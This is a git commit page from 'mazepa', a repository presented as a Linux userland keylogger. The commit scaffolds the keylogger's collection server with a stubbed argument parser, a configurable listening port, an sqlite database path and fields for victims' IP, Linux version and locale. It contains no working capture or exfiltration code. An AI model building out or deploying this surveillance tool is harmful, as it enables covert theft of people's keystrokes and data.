mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 81900a9818424b6ad35f572c1e8ac4ce1962686a
parent 4e9d796813b872a779995f692dbb7850e2cac30d
Author: djnn.sh <[email protected]>
Date: Fri, 12 Jan 2024 10:10:46 +0100

wip(server): setting up lexxer

Diffstat:
Mserver/includes/server.h | 24++++++++++++++++++------
Aserver/sources/lexxer.c | 29+++++++++++++++++++++++++++++
Mserver/sources/main.c | 9++++++++-
Mserver/sources/net.c | 7+------

4 files changed, 56 insertions(+), 13 deletions(-)

diff --git a/server/includes/server.h b/server/includes/server.h
@@ -8,7 +8,6 @@
 
 #define QUEUE_BUFFER_SIZE 1024
 #define STRING_BUFFER_SIZE 256
-#define SERVER_PORT 4444
 
 /* meant for key translations from xkbcommon and the event we receive. :^) */
 typedef struct translated_key {
@@ -31,6 +30,7 @@ struct client_state {
   char name[STRING_BUFFER_SIZE];
   char ipaddr[STRING_BUFFER_SIZE];
   char linux_version[STRING_BUFFER_SIZE];
+  char locale[STRING_BUFFER_SIZE];
 
   TAILQ_ENTRY(client_state) clients;
 };
@@ -38,13 +38,21 @@ struct client_state {
 /* main server object */
 typedef struct server_state {
 
-  /*
-      TODO:
-      configure logger, encryption management & database connection here
-  */
-
   /* current clients */
   TAILQ_HEAD(listhead, client_state) clients;
+
+  struct user_options {
+        char const db_filepath[STRING_BUFFER_SIZE]; // sqlite .db filepath
+        unsigned short listen_port;
+
+        /*
+            TODO:
+            add encryption key config here, once protocol impl. is finished
+        */
+  } options;
+
+
+  int sockfd;
 } server_t;
 
 #define SUCCESSFUL 1
@@ -67,5 +75,9 @@ typedef struct server_state {
 #define KEY_RELEASED 0
 
 // net.c
+int init_remote_connection(server_t *instance);
+
+// lexxer.c
+int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
 
 #endif /* SERVER_H */
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -0,0 +1,29 @@
+
+#include "server.h"
+#include <getopt.h>
+#include <stdio.h>
+
+static void get_help(const char *bin_name) {
+    printf("%s: mazepa keylogger server\n", bin_name);
+    printf("USAGE:\n");
+    printf("\t--listen-port [-p]: specifies server listening port\n");
+    printf("\t--db-path     [-d]: specifies sqlite .db filepath\n");
+
+    printf("\t--help        [-h]: triggers help mode\n");
+    printf("\n\nwritten with <3 by djnn -- https://djnn.sh");
+}
+
+int parse_cli_arguments(
+        server_t *instance,
+        int ac,
+        char **av,
+        __attribute__((unused)) char **envp
+    ) {
+
+    int c = 0;
+    int optind_digit = 0;
+
+    // TODO
+
+    return SUCCESSFUL;
+}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -1,7 +1,14 @@
 
 #include "server.h"
+#include <unistd.h>
 
-int main(void) {
+int main(int ac, char **av, char **envp) {
 
+    server_t srv = {0};
+
+    if (!parse_cli_arguments(&srv, ac, av, envp)) {
+        DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
+        _exit(1);
+    }
 
 }
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -5,11 +5,7 @@
 */
 
 #include <arpa/inet.h>
-#include <errno.h>
 #include <netinet/in.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <string.h>
 #include <sys/socket.h>
 
 #include "server.h"
@@ -42,7 +38,7 @@ int init_remote_connection(server_t *instance) {
   /* items required to bind socket to remote address */
   int is_enabled = 1;
   struct sockaddr_in addr = {.sin_family = AF_INET,
-                             .sin_port = htons(SERVER_PORT),
+                             .sin_port = htons(instance->options.listen_port),
                              .sin_addr.s_addr = inet_addr("0.0.0.0")};
 
   /* setting socket options to make connection more convenient */
@@ -69,7 +65,6 @@ int init_remote_connection(server_t *instance) {
     return -1;
   }
 
-  // TODO: do listen() here ?
 
   return sockfd;
 }